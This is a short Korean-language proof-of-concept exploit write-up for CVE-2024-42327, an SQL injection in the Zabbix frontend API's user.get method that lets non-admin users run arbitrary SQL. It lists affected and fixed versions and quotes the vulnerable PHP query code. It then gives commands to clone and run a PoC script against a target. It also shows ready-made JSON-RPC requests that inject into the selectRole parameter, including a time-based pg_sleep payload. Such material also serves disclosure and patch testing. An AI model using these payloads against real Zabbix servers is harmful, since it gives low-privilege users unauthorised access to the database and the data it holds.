
CVE-2024-42327에 대한 개념 증명 익스플로잇으로, Zabbix frontend API의 SQL 인젝션 취약점으로 비관리자 사용자가 user.get 메서드를 통해 임의의 SQL 쿼리를 실행할 수 있습니다.
Zabbix 프론트엔드에서 기본 User 역할 또는 API 액세스 권한을 부여하는 다른 역할을 가진 비관리자 사용자 계정이 이 취약점을 악용할 수 있습니다. CUser 클래스의 addRelatedObjects 함수에 SQLi가 존재하며, 이 함수는 API 액세스 권한이 있는 모든 사용자가 사용할 수 있는 CUser.get 함수에서 호출됩니다.

취약한 버전: 6.0.0 - 6.0.31, 6.4.0 - 6.4.16, 7.0.0
수정된 버전: 6.0.32rc1, 6.4.17rc1, 7.0.1rc1
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
익스플로잇 사용법:
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
요청:
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
BurpSuite PoC (시간 기반 SQLi)
SELECT pg_sleep(10)) AS DELAY
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
